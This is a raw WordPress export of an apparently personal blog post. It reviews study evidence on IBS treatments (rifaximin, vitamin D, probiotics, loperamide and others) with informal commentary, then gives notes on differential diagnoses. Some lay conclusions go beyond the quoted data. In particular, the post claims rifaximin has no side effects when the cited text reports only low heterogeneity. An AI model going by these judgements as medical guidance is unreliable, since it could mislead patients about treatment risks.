-->\n<p><strong>Rifaximin</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5291563/\">Rifaximin for Irritable Bowel Syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a metastudy of the 4 studies they found that tested rifaximin. Rifaximin came out pretty well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/fVb03CIWGHTEN9MXLF2XWw1hpiKtjoT1YdZ33BJBlz2VXiQ4omkgf6fWUsgbmPkRcyWhEaBcjTBfLViuKO1C0sQjncujoZPFB03SKxVI53c785ZDZS3LhUfJeNkkXre5sqBJK4vL\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/O2cQK6kc7C0Ryx4YJdnK2g8cyt1gy04hVK5HESHprJIUiYMClToNSGqZRURu3IrA185CgEsHkS16ssD3MIns7oOI6SNdkeRULPiEgV-o6R8O2ZnRD2lrzMPQ-yG9hC5JlpGELUrz\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Abdominal Pain</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of abdominal pain during the treatment period was observed between the 3 RCTs in which abdominal pain was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nausea</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of nausea during the treatment period was observed between the 3 RCTs in which nausea was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vomiting</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of vomiting during the treatment period was observed between the 3 RCTs in which vomiting was reported (<em>I</em>2 = 0%)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Headache</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of headache during the treatment period was observed between the 3 RCTs in which headache was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vitamin D</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Very high doses of vitamin D every 2 weeks probably improve IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/nmo.12851\"><strong>Effect of vitamin D on gastrointestinal symptoms and health‐related quality of life in irritable bowel syndrome patients: a randomized double‐blind clinical trial - Abbasnezhad - 2016 - Neurogastroenterology &amp;amp; Motility - Wiley Online Library</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I like this one because it’s actually long term. It shows remarkably big effects, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 90 IBS patients participated in this double‐blind, randomized, placebo‐controlled study. Participants were randomly selected to receive either 50 000 IU vitamin D3 or a placebo fortnightly for a period of 6 months. Patients reported their IBS symptoms at the baseline and monthly during intervention periods</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the 6‐month intervention period, a significantly greater improvement in IBS symptoms such as abdominal pain and distention, flatulence, rumbling, and overall gastrointestinal (GI) symptoms (except dissatisfaction with bowel habits) was observed in the patients receiving vitamin D as compared to the placebo group. The IBSSS and the IBS‐QoL scores in the vitamin D group significantly improved compared to the placebo group postintervention (mean IBSSS score change: −53.82 ± 23.3 <em>vs</em> −16.85 ± 25.01, <em>p</em> &lt; 0.001, respectively; mean IBS‐QoL score change: 14.26 ± 3 <em>vs</em> 11 ± 2.34, <em>p</em> &lt; 0.001, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0158545\">Co-Administration of Soy Isoflavones and Vitamin D in Management of Irritable Bowel Disease (plos.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one also tests isoflavones, and seems to find a bigger effect of soy isoflavones than vitamin D, although both have an effect. It was only for 6 weeks, though. Also, the groups seem really poorly assigned: the before scores are all over the place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a factorial blinded randomized clinical trial, 100 women with IBS (age:18-75yr, were randomly assigned in 4 arms to receive either placebo of vitamin D and placebo of soy isoflavones (P+P), or placebo of vitamin D and soy isoflavones (P+S), or vitamin D and placebo of soy isoflavones (D+P), or vitamin D and soy isoflavones (D+S) for 6 weeks. Dosage of soy isoflavone was 2 capsules of 20 mg soy isoflavones per day, and dosage of vitamin D was one pearl of 50’000 IU biweekly. The clinical outcomes were IBS symptoms severity scores (IBS-SSS), disease- specific quality of life (IBS-QOL) and total score (IBS-TS) that evaluated at weeks 0, 6, and 10, and compared to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3kC-UPQilx1ay5tWQbbPZvLJXsM5BFWne2W6gcxkE6bY9TFqss83v7RvEkLiSlGqS1PYfpa-bCsHTQm5VgOgzcfDSDErjjBYN7FuWFYm6SWeuEUjXW2xTWRcKq-tWeXVR2MUgOyi\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/3O_uEfVZsAkC3sARQuSFvgklEkbx-okq5onFxlFs2rfyACX7-J8MppqULeG8w2wWByw2bknhPu67PvGwdOz5zSv2fcl1UT3g11ySBmO_UXzUlgzEzWDKc3Tpl4TvHIaz93UJ18UW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Soy isoflavones</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Soy isoflavones may improve IBS, but it’s hard to tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4560632/\">Soy Isoflavones Supplementation for Patients with Irritable Bowel Syndrome: A Randomized Double Blind Clinical Trial (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is just testing soy isoflavones. It’s really hard to tell what’s going on here, as either the soy isoflavones did show some amount of improvement that was almost significant (p value of 0.068), or they actually made things worse.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a randomized double blind placebo-controlled clinical trial, 67 patients with IBS were allocated to consume either soy isoflavones capsules or a placebo for 6 weeks. The primary outcome was a significant reduction in symptoms severity score and the secondary outcome was a significant improvement in quality of life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>45 participants completed the study. There was no significant changes in mean differences of symptoms severity score between the two groups; however soy isoflavone supplementation could significantly improve the quality of life scores (<em>p</em>=0.009).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Gwt0z67QCnAeyoz2MSiLwj_7d_nkS1t1oHpoxr269unsANIrqP5lImRD2n8K2y9QsVfOg2hO-jliOT4Hb8eLrj1WtZZ_h9_WoyvQEmI-3THmYjwkY-Exaqpb65XsOrDOQOFfPjpO\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Acupuncture</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acupuncture probably doesn’t work better than fake acupuncture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3718572/\">Acupuncture for treatment of irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one seems self-explanatory. Also, I’m biased against acupuncture.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We found no evidence of an improvement with acupuncture relative to sham (placebo) acupuncture for symptom severity (SMD-0.11, 95%CI −0.35 to 0.13; 4 RCTs; 281 patients) or quality of life (SMD = −0.03, 95%CI −0.27 to 0.22; 3 RCTs; 253 patients).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Probiotics</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probiotics may help a little bit but it’s hard to tell. This is compounded by the fact that how probiotics are stored and processed matters a lot to whether they survive all the way to colonize your digestive tract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://scielo.isciii.es/pdf/diges/v105n1/original4.pdf#page=1\">Effect of probiotic species on irritable bowel syndrome symptoms:A bring up to date meta-analysis</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study only looked at species, and not at formulation. Also, I don’t trust that some probiotics improve pain, but not distension. That doesn’t make sense.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/GqMUYE2BjG5CWvQfcimTf9mp5ZlN4BsKG_pJzwf47UuTyktOEW9466BAuIKOyWMQAgqY1lw8nzp2UrMPv7RFc6MUOMsycpjbUGL-1_mOhyd1hPv8nMJRgQoydktSOvmfYAmBRBJG\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/books/NBK77020/\">The utility of probiotics in the treatment of irritable bowel syndrome: a systematic review - Database of Abstracts of Reviews of Effects (DARE): Quality-assessed Reviews - NCBI Bookshelf (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study. It discusses that the only properly performed studies that showed a good effect were on B.infantis.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sixteen RCTs (n=1,342) met the inclusion criteria. Studies scored between 5 and 12 points on the Rome II methodology scale. Eleven studies were considered to be of suboptimal design (precise definition of suboptimal was not clear).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two of the appropriately-designed RCTs evaluated Bifidobacterium infantis 35624 and reported statistically significant improvements in abdominal pain/discomfort, bloating/distension and/or bowel movement relative to placebo (p&lt;0.05). In these two trials B. infantis 35624 was given daily for four or eight weeks as 1x1010 live cells in malted milk drink or 1x106, 1x108 or 1x1010 colony forming units per millilitre in capsule form. None of the other studies described as appropriately designed showed significant improvements in IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No studies reported quantifiable data on relative tolerability or adverse events.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/03007995.2017.1292230\">Efficacy of Bifidobacterium infantis 35624 in patients with irritable bowel syndrome: a meta-analysis: Current Medical Research and Opinion: Vol 33, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study on B. infantis specifically. They found that single B. infantis didn’t help, but combination B. infantis did. That doesn’t really make sense to me. I’d bet it’s a formulation problem.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of five studies were identified as suitable for inclusion, including three studies with single probiotic <em>B. infantis</em> and two studies with composite probiotics containing <em>B. infantis</em>. Treatment with single probiotic <em>B. infantis</em> didn’t impact on abdominal pain, bloating/distention, or bowel habit satisfaction among IBS patients. However, patients who received composite probiotics containing <em>B. infantis</em> had significantly reduced abdominal pain (SMD, 0.22; 95% CI, 0.03–0.41) and bloating/distention (SMD, 0.30; 95% CI, 0.04–0.56). After combining the data from six studies, the improvement of bloating/distention among IBS patients remained significant (SMD, 0.21; 95% CI, 0.07–0.35).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Mesalazine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesalazine is probably not effective in IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/65/1/82.short\">Randomised controlled trial of mesalazine in IBS | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>So, this paper basically found that both placebo and mesalazine had the same “response rate”, which was 67%. Then they tried to rescue it by doing a bunch of complicated statistics, but it really didn’t work that well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the primary endpoint, the responder patients were 68.6% in the mesalazine group versus 67.4% in the placebo group (p=0.870; 95% CI −12.8 to 15.1). In explorative analyses, with the 75% rule or &gt;75% rule, the percentage of responders was greater in the mesalazine group with a difference over placebo of 11.6% (p=0.115; 95% CI −2.7% to 26.0%) and 5.9% (p=0.404; 95% CI −7.8% to 19.4%), respectively, although these differences were not significant. For the key secondary endpoint, overall symptoms improved in the mesalazine group and reached a significant difference of 15.1% versus placebo (p=0.032; 95% CI 1.5% to 28.7%) with the &gt;75% rule.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Loperamide</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1\">https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study basically showed that loperamide works well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loperamide treatment accelerated gastric emptying, compared with placebo (1.2 +- 0.1 vs 1.5 +- 0.1 hr; P &lt; 0.001) and delayed both small bowel (6.2 + 0.3 vs 4.3 + 0.3 hr; P &lt; 0.001) and whole gut transit (56 +- 5 vs 42 +_ 4 hr; P &lt; 0.01). Eighteen patients said they felt better taking loperamide compared with placebo and, at follow up, 15 of these patients remained satisfied with the effects of the drug. Most symptoms improved significantly on placebo compared with the baseline period, but three of these [diarrhea (P &lt; 0.01), urgency (P &lt; 0.01) and borborygmi (P &lt; 0.05)] showed a further significant improvement on loperamide. Improvement in diarrhea was not associated with any change in stool weight but was associated with reductions in stool frequency (P &lt; 0.001), passage of unformed stools (P &lt; 0.01), and incidence of urgency (P &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365529609006766\">A Double-Blind Placebo-Controlled Trial with Loperamide in Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 31, No 5 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide improved IBS symptoms, but increased pain at night.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Clinical variables and social and personal relationships were similar for the loperamide group (<em>n</em>&nbsp;= 35), the placebo group (<em>n</em>&nbsp;= 34), the dropouts (<em>n</em>&nbsp;= 21), and the controls. Somatic diseases and mental disturbances were increased in the patients compared with the controls. Throughout the 5 weeks of treatment an improved stool consistency (32%), reduced defecation frequency (36%), and reduced intensity of pain (30%) were found in the loperamide group. An increase in nightly pain was observed in the loperamide group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091004\">Loperamide Treatment of the Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helped diarrhea but made constipation worse (duh).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a group of patients with painless diarrhoea (n = 16) there was a highly significant improvement in stool frequency and consistency. In a group with alternating bowel habits and abdominal pain (n = 21) there was also a statistically significant improvement in stool frequency and consistency as well as significantly fewer painful days during loperamide treatment. Patients with alternating bowel habits and no pain (n = 12) experienced no symptomatic improvement, and patients with constipation (n = 9) generally felt worse on loperamide. No side effects were encountered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091003\">Loperamide in Treatment of Irritable Bowel Syndrome—A Double-Blind Placebo Controlled Study: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helps diarrhea and diarrhea-related symptoms.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The effects of loperamide in patients with IBS (all had diarrhoea as a main symptom) were studied in a double-blind placebo controlled trial. Subjective overall response, stool consistency and six individual symptoms (urgency, pain, frequency, flatulence, borborygmi and painful propulsions) were studied over a 13 week long treatment period. Twenty-one patients out of 25 completed the trial, 11 in the loperamide group and 10 in the placebo group. A significant advantage for loperamide was found for stool consistency (p&lt;0.001), pain (p&lt;0.02) and urgency (p&lt;0.05). Subjective overall response was also significantly better in the loperamide group (p&lt;0.03).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Fecal transplant</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Results vary really widely. Worth a shot if you\'re desperate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7257434/\">Efficacy of Fecal Microbiota Transplantation in Irritable Bowel Syndrome: A Systematic Review and Meta-Analysis (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This meta analysis threw out half the studies for not being well-performed. The rest are presented below. Note that two of them show a big positive effect, and two of them do not. The two negative ones did capsule, the two positive ones did colonoscopy and nasojejunal tubes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7257434/bin/nihms-1581604-f0002.jpg\" alt=\"An external file that holds a picture, illustration, etc.\nObject name is nihms-1581604-f0002.jpg\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my list of diagnoses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Diverticulitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis/symptoms-causes\"><strong>Symptoms &amp; Causes of Diverticular Disease | NIDDK (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Most people with </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis\"><strong>diverticulosis</strong></a><strong> do not have symptoms. If your diverticulosis causes symptoms, they may include</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.niddk.nih.gov/Dictionary/B/bloating\"><strong>bloating</strong></a></li><li><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/constipation\"><strong>constipation</strong></a><strong> or </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diarrhea\"><strong>diarrhea</strong></a></li><li><strong>cramping or pain in your lower </strong><a href=\"https://www.niddk.nih.gov/Dictionary/A/abdomen\"><strong>abdomen</strong></a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In most cases, when you have diverticular bleeding, you will suddenly have a large amount of red or maroon-colored blood in your </strong><a href=\"https://www.niddk.nih.gov/Dictionary/S/stool\"><strong>stool</strong></a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Studies have found links between diverticular disease—diverticulosis that causes symptoms or problems such as diverticular bleeding or diverticulitis—and the following factors:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>certain medicines—including </strong><a href=\"https://medlineplus.gov/painrelievers.html\"><strong>nonsteroidal anti-inflammatory drugs</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong> (NSAIDs), such as </strong><a href=\"https://medlineplus.gov/druginfo/meds/a682878.html\"><strong>aspirin</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong>, and </strong><a href=\"https://medlineplus.gov/steroids.html\"><strong>steroids</strong></a><strong> </strong><strong><em>NIH external link</em></strong></li><li><strong>lack of exercise</strong></li><li><a href=\"https://www.niddk.nih.gov/Dictionary/O/obesity\"><strong>obesity</strong></a></li><li><strong>smoking</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Testing for colon cancer:&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1093/annonc/mdq168\">Sci-Hub | Primary colon cancer: ESMO Clinical Practice Guidelines for diagnosis, adjuvant treatment and follow-up | 10.1093/annonc/mdq168 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About 70% of patients with colon cancer are &gt;65 years of age and the disease is rare under the age of 45 (2 per 100 000/year).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer most commonly occurs sporadically and is inherited in only 5%–10% of cases. Migrant studies indicate that when populations move from a low-risk area (e.g. Japan) to a high-risk area (e.g. the USA), the incidence increases rapidly within the first generation of migrants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Smoking has consistently been associated with large colorectal adenomas, which are generally accepted as precursors for cancer. An updated review suggested a temporal pattern consistent with an induction period of three to four decades between genotoxic exposure and the diagnosis of colorectal cancer. In the USA one in five colorectal cancers may be potentially attributable to tobacco use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Inflammatory bowel diseases (Crohn’s disease and ulcerative colitis) increase the risk of colon cancer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients who have had previous malignant disease are also at great risk of developing a second colorectal tumour</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The metabolic syndrome (high blood pressure, increased waist circumference, hypertriglyceridaemia, low levels of high-density lipoprotein cholesterol or diabetes/ hyperglycaemia) had a modest, positive association with colorectal cancer incidence among men, but not among women</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because early cancer produces no symptoms and because many of the symptoms are non-specific (change in bowel habits, general abdominal discomfort, weight loss with no apparent cause, constant tiredness),</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Up to now two strategies have been available: faecal occult blood test (FOBT) and endoscopy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1773686/#:~:text=Colorectal%20cancer%20(CRC)%20is%20one,an%20increased%20risk%20of%20CRC.\">Influence of dietary factors on colorectal cancer survival (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer (CRC) is one of the most common cancers in the Western world. It is widely accepted that environmental factors, especially dietary factors, are involved in the aetiology of CRC. High intakes of fat, red meat, refined sugar, and energy have been associated with an increased risk of CRC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Inflammatory bowel disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/pii/S0016508514009196#bib18\"><strong>The Diagnostic Approach to Monogenic Very Early Onset Inflammatory Bowel Disease - ScienceDirect</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twin studies have provided the best evidence for a genetic predisposition to IBD, which is stronger for CD than UC.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Genetic disorders that affect intestinal epithelial barrier function include dystrophic epidermolysis bullosa,32 Kindler syndrome,32 familial diarrhea caused by dominant activating mutations in guanylate cyclase C,33 X-linked ectodermal dysplasia and immunodeficiency,34 and ADAM17 deficiency.35</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As high as 40% of patients with chronic granulomatous disease develop CD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>VEOIBD has been described in a number of hyperinflammatory and autoinflammatory disorders such as mevalonate kinase deficiency,54, 55 phospholipase C-γ2 defects,56 familial Mediterranean fever,57, 58, 59 Hermansky–Pudlak syndrome (type 1, 4, and 6),60, 61, 62, 63, 64 X-linked lymphoproliferative syndrome type 165 and type 2,66, 67, 68 or familial hemophagocytic lymphohistiocytosis type 5</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Disorders associated with IBD-like immunopathology include B-cell defects such as common variable immunodeficiency (CVID), hyper-immunoglobulin (Ig) M syndrome, and agammaglobulinemia.75, 76, 77, 78, 79 Several other primary immune deficiencies, such as Wiskott–Aldrich syndrome80 (WAS) and atypical SCID or Omenn syndrome81, 82 can also cause IBD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cow’s milk protein allergy is common and can cause severe colitis that resembles UC and even requires hospitalization. It manifests typically within the first 2 to 3 months of exposure to cow’s milk protein. This may be apparent with breast-feeding or only after introducing formula feeding. Colitis resolves after cow’s milk is removed from the diet, so a trial of exclusive feeding with an amino acid–based infant formula is a customary treatment strategy for all VEOIBD diagnosed when the patient is younger than 1 year of age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/jpgn/FullText/2014/06000/ESPGHAN_Revised_Porto_Criteria_for_the_Diagnosis.26.aspx\">ESPGHAN Revised Porto Criteria for the Diagnosis of Inflamma... : Journal of Pediatric Gastroenterology and Nutrition (lww.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bloody diarrhea is the most common presenting symptom in UC whereas CD may present with vague abdominal pain, diarrhea, unexplained anemia, fever, weight loss, or growth retardation as frequently reported symptoms. The classic “triad” of abdominal pain, diarrhea, and weight loss occurs in only 25% of patients with CD</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/20786204.2012.10874256\"><strong>Hypothyroidism: an update: South African Family Practice: Vol 54, No 5 (tandfonline.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Arthralgias (joint pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cold intolerance*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depression</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Difficulty concentrating</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Menorrhagia (heavy flow)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Myalgias (muscle pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weakness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weight gain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dry skin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hair thinning/hair loss</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Memory impairment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hyperthyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://academic.oup.com/jcem/article/95/6/2715/2598312?login=true\"><strong>Older Subjects with Hyperthyroidism Present with a Paucity of Symptoms and Signs: A Large Cross-Sectional Study | The Journal of Clinical Endocrinology &amp; Metabolism | Oxford Academic (oup.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hyperthyroidism affects 3% of women and 0.3% of males (1) and is associated with significant morbidity and mortality, mainly from cardiovascular and cerebrovascular disease (2, 3). In iodine-replete areas, the underlying diagnosis is Graves’ disease in 60–80% and toxic nodular hyperthyroidism in most others (4, 5). Patients commonly complain of fatigue, anxiety, tremor, weight loss, palpitation, and heat sensitivity. Clinical signs include tachycardia, the presence of goiter, and 